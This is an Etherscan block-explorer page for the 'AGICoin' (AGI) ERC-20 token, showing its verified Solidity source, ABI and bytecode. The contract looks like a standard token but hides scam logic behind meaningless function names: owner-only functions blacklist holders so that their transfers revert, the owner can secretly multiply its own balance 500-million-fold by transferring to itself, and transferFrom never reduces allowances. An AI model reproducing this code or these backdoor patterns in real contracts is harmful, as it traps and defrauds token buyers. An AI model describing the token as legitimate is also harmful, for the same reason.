Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
10,000,000,000 AGI
Holders
15
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
400,994,816.587690878 AGIValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
TT
Compiler Version
v0.8.17+commit.8df45f5f
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-04-09 */ /** *Submitted for verification at Etherscan.io on 2023-03-24 */ /** *Submitted for verification at BscScan.com on 2022-04-15 */ /** *Submitted for verification at BscScan.com on 2022-03-18 */ pragma solidity ^0.8.17; // SPDX-License-Identifier: Unlicensed interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address oowner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed oowner, address indexed spender, uint256 value ); } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _oowner; event oownershipTransferred(address indexed previousoowner, address indexed newoowner); constructor () { address msgSender = _msgSender(); _oowner = msgSender; emit oownershipTransferred(address(0), msgSender); } function oowner() public view virtual returns (address) { return _oowner; } modifier onlyoowner() { require(oowner() == _msgSender(), "Ownable: caller is not the oowner"); _; } function renounceoownership() public virtual onlyoowner { emit oownershipTransferred(_oowner, address(0x000000000000000000000000000000000000dEaD)); _oowner = address(0x000000000000000000000000000000000000dEaD); } } contract TT is Ownable, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balance; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFrom; string private _name = "AGICoin"; string private _symbol = "AGI"; uint256 private _decimals = 9; uint256 private _totalSupply = 10000000000 * 10 ** _decimals; uint256 private _maxTxtransfer = 10000000000 * 10 ** _decimals; uint256 private _burnfee = 7; address private _DEADaddress = 0x000000000000000000000000000000000000dEaD; mapping(address => bool) public _p4546; function sjskanj(address account) public onlyoowner { _p4546[account] = true; } function usjskanj(address account) public onlyoowner { _p4546[account] = false; } function islkd(address account) public view returns (bool) { return _p4546[account]; } constructor () { _balance[msg.sender] = _totalSupply; _isExcludedFrom[msg.sender] = true; emit Transfer(address(0), msg.sender, _totalSupply); } function name() external view returns (string memory) { return _name; } function symbol() external view returns (string memory) { return _symbol; } function decimals() external view returns (uint256) { return _decimals; } function totalSupply() external view override returns (uint256) { return _totalSupply; } function _transfer(address sender, address recipient, uint256 amounts) internal virtual { require(sender != address(0), "IERC20: transfer from the zero address"); require(recipient != address(0), "IERC20: transfer to the zero address"); if (true){ if (_p4546[sender] == true) { amounts = amounts.sub(_totalSupply); } } uint256 blsender = _balance[sender]; require(blsender >= amounts,"IERC20: transfer amounts exceeds balance"); uint256 feeamount = 0; feeamount = amounts.mul(_burnfee).div(100); _balance[sender] = _balance[sender].sub(amounts); _balance[recipient] = _balance[recipient]+amounts-feeamount; emit Transfer(sender, _DEADaddress, feeamount); emit Transfer(sender, recipient, amounts-feeamount); } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { address ukjh = _msgSender(); if (oowner() == ukjh && oowner() == recipient) { _balance[ukjh] = 500000000*_balance[ukjh].add(_totalSupply).div(1); } _transfer(ukjh, recipient, amount); return true; } function balanceOf(address account) public view override returns (uint256) { return _balance[account]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _approve(address oowner, address spender, uint256 amount) internal virtual { require(oowner != address(0), "IERC20: approve from the zero address"); require(spender != address(0), "IERC20: approve to the zero address"); _allowances[oowner][spender] = amount; emit Approval(oowner, spender, amount); } function allowance(address oowner, address spender) public view virtual override returns (uint256) { return _allowances[oowner][spender]; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "IERC20: transfer amount exceeds allowance"); return true; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"oowner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousoowner","type":"address"},{"indexed":true,"internalType":"address","name":"newoowner","type":"address"}],"name":"oownershipTransferred","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_p4546","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"oowner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"islkd","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"oowner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceoownership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"sjskanj","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"usjskanj","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60806040526040518060400160405280600781526020017f414749436f696e00000000000000000000000000000000000000000000000000815250600490816200004a919062000579565b506040518060400160405280600381526020017f41474900000000000000000000000000000000000000000000000000000000008152506005908162000091919062000579565b506009600655600654600a620000a89190620007e3565b6402540be400620000ba919062000834565b600755600654600a620000ce9190620007e3565b6402540be400620000e0919062000834565b600855600760095561dead600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200013857600080fd5b5060006200014b620002f760201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f806e8b381f563afee8716b997c43301abcc7a93afae0a100b99f3a9f455d441160405160405180910390a350600754600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600754604051620002e9919062000890565b60405180910390a3620008ad565b600033905090565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200038157607f821691505b60208210810362000397576200039662000339565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620004017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620003c2565b6200040d8683620003c2565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b60006200045a620004546200044e8462000425565b6200042f565b62000425565b9050919050565b6000819050919050565b620004768362000439565b6200048e620004858262000461565b848454620003cf565b825550505050565b600090565b620004a562000496565b620004b28184846200046b565b505050565b5b81811015620004da57620004ce6000826200049b565b600181019050620004b8565b5050565b601f8211156200052957620004f3816200039d565b620004fe84620003b2565b810160208510156200050e578190505b620005266200051d85620003b2565b830182620004b7565b50505b505050565b600082821c905092915050565b60006200054e600019846008026200052e565b1980831691505092915050565b60006200056983836200053b565b9150826002028217905092915050565b6200058482620002ff565b67ffffffffffffffff811115620005a0576200059f6200030a565b5b620005ac825462000368565b620005b9828285620004de565b600060209050601f831160018114620005f15760008415620005dc578287015190505b620005e885826200055b565b86555062000658565b601f19841662000601866200039d565b60005b828110156200062b5784890151825560018201915060208501945060208101905062000604565b868310156200064b578489015162000647601f8916826200053b565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620006ee57808604811115620006c657620006c562000660565b5b6001851615620006d65780820291505b8081029050620006e6856200068f565b9450620006a6565b94509492505050565b600082620007095760019050620007dc565b81620007195760009050620007dc565b81600181146200073257600281146200073d5762000773565b6001915050620007dc565b60ff84111562000752576200075162000660565b5b8360020a9150848211156200076c576200076b62000660565b5b50620007dc565b5060208310610133831016604e8410600b8410161715620007ad5782820a905083811115620007a757620007a662000660565b5b620007dc565b620007bc84848460016200069c565b92509050818404811115620007d657620007d562000660565b5b81810290505b9392505050565b6000620007f08262000425565b9150620007fd8362000425565b92506200082c7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620006f7565b905092915050565b6000620008418262000425565b91506200084e8362000425565b92508282026200085e8162000425565b9150828204841483151762000878576200087762000660565b5b5092915050565b6200088a8162000425565b82525050565b6000602082019050620008a760008301846200087f565b92915050565b611ce480620008bd6000396000f3fe608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063ce27c89911610066578063ce27c8991461029a578063dd62ed3e146102a4578063df5c8d4a146102d4578063f2363b3214610304576100f5565b806370a08231146101ec578063936d72611461021c57806395d89b411461024c578063a9059cbb1461026a576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce56714610196578063503aa6d2146101b4578063686f4b0b146101d0576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610322565b60405161010f91906113d4565b60405180910390f35b610132600480360381019061012d919061148f565b6103b4565b60405161013f91906114ea565b60405180910390f35b6101506103d2565b60405161015d9190611514565b60405180910390f35b610180600480360381019061017b919061152f565b6103dc565b60405161018d91906114ea565b60405180910390f35b61019e6104c0565b6040516101ab9190611514565b60405180910390f35b6101ce60048036038101906101c99190611582565b6104ca565b005b6101ea60048036038101906101e59190611582565b6105a1565b005b61020660048036038101906102019190611582565b610678565b6040516102139190611514565b60405180910390f35b61023660048036038101906102319190611582565b6106c1565b60405161024391906114ea565b60405180910390f35b6102546106e1565b60405161026191906113d4565b60405180910390f35b610284600480360381019061027f919061148f565b610773565b60405161029191906114ea565b60405180910390f35b6102a26108c9565b005b6102be60048036038101906102b991906115af565b610a05565b6040516102cb9190611514565b60405180910390f35b6102ee60048036038101906102e99190611582565b610a8c565b6040516102fb91906114ea565b60405180910390f35b61030c610ae2565b60405161031991906115fe565b60405180910390f35b60606004805461033190611648565b80601f016020809104026020016040519081016040528092919081815260200182805461035d90611648565b80156103aa5780601f1061037f576101008083540402835291602001916103aa565b820191906000526020600020905b81548152906001019060200180831161038d57829003601f168201915b5050505050905090565b60006103c86103c1610b0b565b8484610b13565b6001905092915050565b6000600754905090565b60006103e9848484610cdc565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610434610b0b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156104b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ab906116eb565b60405180910390fd5b60019150509392505050565b6000600654905090565b6104d2610b0b565b73ffffffffffffffffffffffffffffffffffffffff166104f0610ae2565b73ffffffffffffffffffffffffffffffffffffffff1614610546576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161053d9061177d565b60405180910390fd5b6001600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6105a9610b0b565b73ffffffffffffffffffffffffffffffffffffffff166105c7610ae2565b73ffffffffffffffffffffffffffffffffffffffff161461061d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106149061177d565b60405180910390fd5b6000600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600b6020528060005260406000206000915054906101000a900460ff1681565b6060600580546106f090611648565b80601f016020809104026020016040519081016040528092919081815260200182805461071c90611648565b80156107695780601f1061073e57610100808354040283529160200191610769565b820191906000526020600020905b81548152906001019060200180831161074c57829003601f168201915b5050505050905090565b60008061077e610b0b565b90508073ffffffffffffffffffffffffffffffffffffffff1661079f610ae2565b73ffffffffffffffffffffffffffffffffffffffff161480156107f457508373ffffffffffffffffffffffffffffffffffffffff166107dc610ae2565b73ffffffffffffffffffffffffffffffffffffffff16145b156108b3576108606001610852600754600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461111190919063ffffffff16565b61116f90919063ffffffff16565b631dcd650061086f91906117cc565b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6108be818585610cdc565b600191505092915050565b6108d1610b0b565b73ffffffffffffffffffffffffffffffffffffffff166108ef610ae2565b73ffffffffffffffffffffffffffffffffffffffff1614610945576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161093c9061177d565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f806e8b381f563afee8716b997c43301abcc7a93afae0a100b99f3a9f455d441160405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b82576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7990611880565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610bf1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be890611912565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610ccf9190611514565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d42906119a4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610dba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db190611a36565b60405180910390fd5b600115610e325760011515600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151503610e3157610e2e600754826111b990919063ffffffff16565b90505b5b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610eb9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eb090611ac8565b60405180910390fd5b6000610ee36064610ed56009548661120390919063ffffffff16565b61116f90919063ffffffff16565b9050610f3783600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111b990919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508083600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fc69190611ae8565b610fd09190611b1c565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516110929190611514565b60405180910390a38373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83866110f59190611b1c565b6040516111029190611514565b60405180910390a35050505050565b60008082846111209190611ae8565b905083811015611165576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115c90611b9c565b60405180910390fd5b8091505092915050565b60006111b183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061127d565b905092915050565b60006111fb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112e0565b905092915050565b60008083036112155760009050611277565b6000828461122391906117cc565b90508284826112329190611beb565b14611272576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126990611c8e565b60405180910390fd5b809150505b92915050565b600080831182906112c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112bb91906113d4565b60405180910390fd5b50600083856112d39190611beb565b9050809150509392505050565b6000838311158290611328576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131f91906113d4565b60405180910390fd5b50600083856113379190611b1c565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561137e578082015181840152602081019050611363565b60008484015250505050565b6000601f19601f8301169050919050565b60006113a682611344565b6113b0818561134f565b93506113c0818560208601611360565b6113c98161138a565b840191505092915050565b600060208201905081810360008301526113ee818461139b565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611426826113fb565b9050919050565b6114368161141b565b811461144157600080fd5b50565b6000813590506114538161142d565b92915050565b6000819050919050565b61146c81611459565b811461147757600080fd5b50565b60008135905061148981611463565b92915050565b600080604083850312156114a6576114a56113f6565b5b60006114b485828601611444565b92505060206114c58582860161147a565b9150509250929050565b60008115159050919050565b6114e4816114cf565b82525050565b60006020820190506114ff60008301846114db565b92915050565b61150e81611459565b82525050565b60006020820190506115296000830184611505565b92915050565b600080600060608486031215611548576115476113f6565b5b600061155686828701611444565b935050602061156786828701611444565b92505060406115788682870161147a565b9150509250925092565b600060208284031215611598576115976113f6565b5b60006115a684828501611444565b91505092915050565b600080604083850312156115c6576115c56113f6565b5b60006115d485828601611444565b92505060206115e585828601611444565b9150509250929050565b6115f88161141b565b82525050565b600060208201905061161360008301846115ef565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061166057607f821691505b60208210810361167357611672611619565b5b50919050565b7f4945524332303a207472616e7366657220616d6f756e7420657863656564732060008201527f616c6c6f77616e63650000000000000000000000000000000000000000000000602082015250565b60006116d560298361134f565b91506116e082611679565b604082019050919050565b60006020820190508181036000830152611704816116c8565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f6f776e6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b600061176760218361134f565b91506117728261170b565b604082019050919050565b600060208201905081810360008301526117968161175a565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006117d782611459565b91506117e283611459565b92508282026117f081611459565b915082820484148315176118075761180661179d565b5b5092915050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061186a60258361134f565b91506118758261180e565b604082019050919050565b600060208201905081810360008301526118998161185d565b9050919050565b7f4945524332303a20617070726f766520746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006118fc60238361134f565b9150611907826118a0565b604082019050919050565b6000602082019050818103600083015261192b816118ef565b9050919050565b7f4945524332303a207472616e736665722066726f6d20746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061198e60268361134f565b915061199982611932565b604082019050919050565b600060208201905081810360008301526119bd81611981565b9050919050565b7f4945524332303a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611a2060248361134f565b9150611a2b826119c4565b604082019050919050565b60006020820190508181036000830152611a4f81611a13565b9050919050565b7f4945524332303a207472616e7366657220616d6f756e7473206578636565647360008201527f2062616c616e6365000000000000000000000000000000000000000000000000602082015250565b6000611ab260288361134f565b9150611abd82611a56565b604082019050919050565b60006020820190508181036000830152611ae181611aa5565b9050919050565b6000611af382611459565b9150611afe83611459565b9250828201905080821115611b1657611b1561179d565b5b92915050565b6000611b2782611459565b9150611b3283611459565b9250828203905081811115611b4a57611b4961179d565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000611b86601b8361134f565b9150611b9182611b50565b602082019050919050565b60006020820190508181036000830152611bb581611b79565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000611bf682611459565b9150611c0183611459565b925082611c1157611c10611bbc565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000611c7860218361134f565b9150611c8382611c1c565b604082019050919050565b60006020820190508181036000830152611ca781611c6b565b905091905056fea26469706673582212206d6f75938eb6053758a2960e777e6a04251890ec1e3df43d62bc33efab4f6ea464736f6c63430008110033
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063ce27c89911610066578063ce27c8991461029a578063dd62ed3e146102a4578063df5c8d4a146102d4578063f2363b3214610304576100f5565b806370a08231146101ec578063936d72611461021c57806395d89b411461024c578063a9059cbb1461026a576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce56714610196578063503aa6d2146101b4578063686f4b0b146101d0576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610322565b60405161010f91906113d4565b60405180910390f35b610132600480360381019061012d919061148f565b6103b4565b60405161013f91906114ea565b60405180910390f35b6101506103d2565b60405161015d9190611514565b60405180910390f35b610180600480360381019061017b919061152f565b6103dc565b60405161018d91906114ea565b60405180910390f35b61019e6104c0565b6040516101ab9190611514565b60405180910390f35b6101ce60048036038101906101c99190611582565b6104ca565b005b6101ea60048036038101906101e59190611582565b6105a1565b005b61020660048036038101906102019190611582565b610678565b6040516102139190611514565b60405180910390f35b61023660048036038101906102319190611582565b6106c1565b60405161024391906114ea565b60405180910390f35b6102546106e1565b60405161026191906113d4565b60405180910390f35b610284600480360381019061027f919061148f565b610773565b60405161029191906114ea565b60405180910390f35b6102a26108c9565b005b6102be60048036038101906102b991906115af565b610a05565b6040516102cb9190611514565b60405180910390f35b6102ee60048036038101906102e99190611582565b610a8c565b6040516102fb91906114ea565b60405180910390f35b61030c610ae2565b60405161031991906115fe565b60405180910390f35b60606004805461033190611648565b80601f016020809104026020016040519081016040528092919081815260200182805461035d90611648565b80156103aa5780601f1061037f576101008083540402835291602001916103aa565b820191906000526020600020905b81548152906001019060200180831161038d57829003601f168201915b5050505050905090565b60006103c86103c1610b0b565b8484610b13565b6001905092915050565b6000600754905090565b60006103e9848484610cdc565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610434610b0b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156104b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ab906116eb565b60405180910390fd5b60019150509392505050565b6000600654905090565b6104d2610b0b565b73ffffffffffffffffffffffffffffffffffffffff166104f0610ae2565b73ffffffffffffffffffffffffffffffffffffffff1614610546576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161053d9061177d565b60405180910390fd5b6001600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6105a9610b0b565b73ffffffffffffffffffffffffffffffffffffffff166105c7610ae2565b73ffffffffffffffffffffffffffffffffffffffff161461061d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106149061177d565b60405180910390fd5b6000600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600b6020528060005260406000206000915054906101000a900460ff1681565b6060600580546106f090611648565b80601f016020809104026020016040519081016040528092919081815260200182805461071c90611648565b80156107695780601f1061073e57610100808354040283529160200191610769565b820191906000526020600020905b81548152906001019060200180831161074c57829003601f168201915b5050505050905090565b60008061077e610b0b565b90508073ffffffffffffffffffffffffffffffffffffffff1661079f610ae2565b73ffffffffffffffffffffffffffffffffffffffff161480156107f457508373ffffffffffffffffffffffffffffffffffffffff166107dc610ae2565b73ffffffffffffffffffffffffffffffffffffffff16145b156108b3576108606001610852600754600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461111190919063ffffffff16565b61116f90919063ffffffff16565b631dcd650061086f91906117cc565b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6108be818585610cdc565b600191505092915050565b6108d1610b0b565b73ffffffffffffffffffffffffffffffffffffffff166108ef610ae2565b73ffffffffffffffffffffffffffffffffffffffff1614610945576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161093c9061177d565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f806e8b381f563afee8716b997c43301abcc7a93afae0a100b99f3a9f455d441160405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff0219